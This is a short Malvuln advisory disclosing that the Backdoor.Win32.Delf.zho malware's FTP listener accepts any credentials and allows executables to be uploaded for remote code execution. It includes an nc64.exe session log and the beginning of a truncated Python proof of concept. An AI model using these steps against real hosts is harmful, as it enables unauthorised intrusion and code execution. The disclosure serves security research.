Backdoor.Win32.Delf.zho malware suffers from bypass and code execution vulnerabilities.
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/6b9f5a0512af3ab33c26eaa4bdf94f1f.txt
Contact: [email protected]
Vulnerability: Authentication Bypass RCE
Description: The malware listens on TCP port 21 and TCP ports 14920 to 14923. Third-party attackers who can reach the system can logon using any username/password combination. Attackers may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Vuln ID: MVID-2021-0205
nc64.exe 192.168.18.127 21
220 ICS FTP Server ready.
331 Password required for mal.
230 User mal logged in.
215 UNIX Type: L8 Internet Component Suite
250 CWD command successful. "C:/" is current directory.
227 Entering Passive Mode (192,168,18,127,198,78).
150 Opening data connection for DOOM.exe.
226 File received ok
from socket import *
#Calculate port 198*256 + 78 = 50766
f = open(DOOM, "rb")
EXE = f.read()
print("Backdoor.Win32.Delf.zho / Authentication Bypass RCE")
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